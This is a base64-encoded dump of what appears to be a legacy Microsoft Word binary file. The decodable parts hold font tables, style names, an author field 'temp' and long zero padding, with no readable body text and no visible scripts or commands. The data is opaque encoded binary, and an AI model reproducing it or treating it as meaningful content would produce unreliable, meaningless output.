AAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAFAAcABQAHAAUA BwAFAAQABQAEAAUACAAHAAUABwAIAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAE AAcABAAHAAQABwAEAAcABAAHAAUABwAEAAcABAAHAAQABwAFAAcABAAFAAcABAAHAAUABwAEAAUA BwAEAAUABwAEAAUABwAEAAUABwAEAAUABwAEAAUABwAFAAQABQAHAAUABAAFAAQABQAHAAIABAAH AAQAAgAEAAcABAAHAAQABwAEAAcAAgAAAAAABAEAABEBAAASAQAAIgEAAEsBAABWAQAAVwEAAFwB AADEAQAAzwEAANoBAADmAQAAaQMAAGwDAABtAwAAcgMAAFQFAABfBQAAYQUAAGUFAABmBQAAbQUA AG4FAABxBQAAcgUAAHcFAAB4BQAAgAUAAPAFAADyBQAA8wUAAPQFAAD1BQAAAgYAACUGAAAnBgAA PAYAAEMGAABEBgAASAYAAEkGAABQBgAAUQYAAFoGAABbBgAAYQYAAGIGAABnBgAAaAYAAHIGAABz BgAAdQYAAEcIAABNCAAATggAAFEIAABSCAAAVggAAFcIAABeCAAAXwgAAGsIAACPCAAAmggAAJsI AACeCAAA8QgAAPQIAAD2CAAA+ggAABgLAAAhCwAAFwwAABwMAAAeDAAALAwAACQOAAAoDgAAKQ4A ADAOAACEDwAAhw8AANkPAADkDwAA5Q8AAOoPAADrDwAA8g8AAPMPAAD2DwAA9w8AAPwPAAD9DwAA BRAAAAYQAAAMEAAAGRAAAB0QAAAfEAAAJhAAACcQAAAuEAAALxAAADYQAAA3EAAAPhAAAD8QAABG EAAARxAAAE4QAABPEAAAVhAAAJ0QAACeEAAAxxAAAMkQAADKEAAA0RAAANcQAADdEAAA3hAAAOcQ AADoEAAA7BAAABcRAAAgEQAAShIAAFISAABTEgAAWhIAALgSAAC/EgAA3xIAAOUSAADsEgAA9RIA AMEWAADCFgAAwhYAAMQWAADEFgAAxRYAAMUWAADHFgAAyBYAAMoWAADLFgAAzRYAAM4WAADXFgAA 2hYAAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAH AAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcA AwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwAD AAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMA BwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwACAAQABwAE AAIABAAHAAQABwAEAAcABAAHAAIAAgAAAAEACQQGAAIAQAAAAAkIBgACAEAABQDOXGYBORSJewAA AAADAAgAwBIAAMIBAABbLygLjhLiVQAAAAAAAJcb0VRbLygLAAAAAAAAjhLiVQAAAAAAAAAAAAEC AAIAORSJe5cb0VQAAAAAAQAEAEDt//+EAAAABAAAAAgAAADlAAAAAAAAAHUAAAACAgYAln0KAN1D DwBFVRIAVyYTAL83EwDnSRMAu0kXAPlEGgDmKBwA9zceAPE/JQB8KycAJF0nAJFFKACkOCoAbl8r AFZILQD4Ky8AtU8vABJ+LwD5fzAA8iAyADMSMwCBTTMA100zAHwyNADKfzQA8Rc6AJ4sOwAkJT8A jC5BALsjQgC7L0IAjgJDAMZ9RwDYZ0kA/1BOAJw3TwBpfE8Ac3BUADVlVgCDTVgAyltYAEgfXQAd d10ABABeAAMDXwDRV2EAkR5kAAkrZQAICmcAsBdnADsoaQAwbm4AwUlzACkgdQClLncASUR4AKIJ fQDJC30AOEN+ALUYfwBkTH8AwhmBAAlqgwAkcIMA2A2FAD4EhgD0FogAxyuJAHUVigBCTIoAMDyM ABpcjwCPHJEAiiKRAGBWkQBjRZIAYFaUAFJ0lABGZpYAcH6cAJFNoQDwaKMAcnKlAAd5pQDrJqYA oDemAIcbqgCQKKoAZwS1AGhVuACqVbgA+GG4AIw8uQBZZbkAqkO6AFtRvQD0HMAAfCfAADI5wAAo AcEA0EXCACtHxABTBMUAm2XFAJw8xgD/VsYARRzIAGZXywBpP84AGVTWAOAi1wA/SNkAGE7bAJd/ 2wApCuIAPR7kACIr5ACqPuUAjhTnABA/6gBtT+oA7DLwANJl8gDGHPQALGH1APEW9gCEB/kAkWn6 AGpN/gAAAAAAMQ4AAJ8QAAD4EQAAIhMAACMTAAAkEwAALBMAAC8TAAAxEwAAMhMAADwTAAA/EwAA QRMAAEITAABQEwAAUxMAAFUTAABWEwAAXBMAAF8TAABhEwAAYhMAAGgTAABrEwAAbRMAAG4TAAB2 EwAAeRMAAHsTAAB8EwAAiRMAAIwTAACPEwAAkBMAAJoTAACdEwAAnxMAAKATAACwEwAAsxMAALUT AAC2EwAAwxMAAMYTAADIEwAAyRMAANoTAADdEwAA3xMAAOATAADBFgAA2hYAAAAAAAADAAAAAAAA AAAAAAAAAAAAAAAAAAgAAAAiAQAAAgEAAAIBAAC+AQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAA AgEAAJ4BAAACAQAAAgEAAAIBAACeAQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAAAgEAAJ4BAAAC AQAAAgEAACIBAAC+AQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAAAgEAAJ4BAAACAQAAAgEAAAIB AACeAQAAAgEAAAIBAAACAQAAlgEAAAEAAAD/QAOAAQCcEAAAnBAAALwnMQEBAAEAnBAAAAAAAACc EAAAAAAAAAIQAAAAAAAAANkWAABAAAAQAEAAAP//AQAAAAcAVQBuAGsAbgBvAHcAbgD//wEACAAA AAAAAAAAAAAA//8BAAAAAAD//wAAAgD//wAAAAD//wAAAgD//wAAAAAJAAAARxaQAQAAAgIGAwUE BQIDBId6ACAAAACACAAAAAAAAAD/AQAAAAAAAFQAaQBtAGUAcwAgAE4AZQB3ACAAUgBvAG0AYQBu AAAANRaQAQIABQUBAgEHBgIFBwAAAAAAAAAQAAAAAAAAAAAAAACAAAAAAFMAeQBtAGIAbwBsAAAA MyaQAQAAAgsGBAICAgICBId6ACAAAACACAAAAAAAAAD/AQAAAAAAAEEAcgBpAGEAbAAAAGkekAEA DgIHBwQHBQUCAwMDAAAAAAAAAAAAAAAAAAAAAQAAAAAAAABNAG8AZABlAHIAbgAgAE4AbwAuACAA MgAwAAAAQwBlAG4AdAB1AHIAeQAgAFMAYwBoAG8AbwBsAGIAbwBvAGsAAABJTgAAAAADAQEBAQIB AQEBhwIAAAAAAAAAAAAAAAAAAJ8AAAAAAAAATQBvAG4AbwB0AHkAcABlACAAQwBvAHIAcwBpAHYA YQAAAEsWLAEAAAIFBgQFBQUCAgSHAgAAAAAAAAAAAAAAAAAAnwAAAAAAAABCAG8AbwBrAG0AYQBu ACAATwBsAGQAIABTAHQAeQBsAGUAAAA1JpABAAACCwYEAwUEBAIEh3oAYQAAAIAIAAAAAAAAAP8B AQAAAAAAVABhAGgAbwBtAGEAAABRLpABAAgCDwUCAgIEAwIE7wIAoHsgAEAAAAAAAAAAAJ8AAAAA AAAAQwBhAGwAaQBiAHIAaQAAAFQAcgBlAGIAdQBjAGgAZQB0ACAATQBTAAAANx6QAQAAAgQFAwUE BgMCBO8CAKBLAABAAAAAAAAAAACfAAAAAAAAAEMAYQBtAGIAcgBpAGEAAAAiAAQAMQiIGADw0AIA AGgBAAAAABqM8ob2zPOm6IzyhhwAXAAAAGUDAABdEwAAAQALAAAABAADkCkAAABlAwAAXRMAAAEA CwAAACkAAAAAAAAAIQMA8BAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhANaALQAtACBgRI0 AAAQABkAZAAAABkAAAC3FgAAtxYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAIPoNRAPAQAAgA/P0BAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAEhYAAAAAAnw/w8AASRQAADkBAAA////f////3////9/////f////3// //9/////f0gfXQAABAAAsgAAAAAAAAAAAAAAAAAAAAAA//8SAAAAAAAAABIAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgACAAAAAAAAAABAB0AGUAbQBwAAIAUABDAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAFAQIAAAAAAAAAAAAA AAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAHQBAAARAAAAAQAAAJAAAAACAAAAmAAAAAMA AAC0AAAABAAAAMAAAAAFAAAA0AAAAAcAAADcAAAACAAAAOwAAAAJAAAA+AAAABIAAAAEAQAACgAA ACQBAAALAAAAMAEAAAwAAAA8AQAADQAAAEgBAAAOAAAAVAEAAA8AAABcAQAAEAAAAGQBAAATAAAA bAEAAAIAAADkBAAAHgAAABQAAAAgICAgICAgICAgICAgICAgICAAAB4AAAAEAAAAAAAAAB4AAAAI AAAAdGVtcAAAAAAeAAAABAAAAAAAAAAeAAAACAAAAE5vcm1hbAAAHgAAAAQAAABQQwAAHgAAAAQA AAAyOAAAHgAAABgAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQAAABAAAAAACgt2gwAAABAAAAAAEDx FNLOywFAAAAAADT2+rbOywFAAAAAABR+AB7rywEDAAAAAQAAAAMAAABlAwAAAwAAAF0TAAADAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABQECAAAAAAAAAAAAAAAAAAAAAAAB AAAAAtXN1ZwuGxCTlwgAKyz5rjAAAAD8AAAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAAfAAAAAYA AACEAAAAEQAAAIwAAAAXAAAAlAAAAAsAAACcAAAAEAAAAKQAAAATAAAArAAAABYAAAC0AAAADQAA ALwAAAAMAAAA2wAAAAIAAADkBAAAHgAAAAQAAABIUAAAAwAAACkAAAADAAAACwAAAAMAAAC3FgAA AwAAAOYVCwALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAABAAAAEwAAACAgICAg ICAgICAgICAgICAgIAAMEAAAAgAAAB4AAAAGAAAAVGl0bGUAAwAAAAEAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 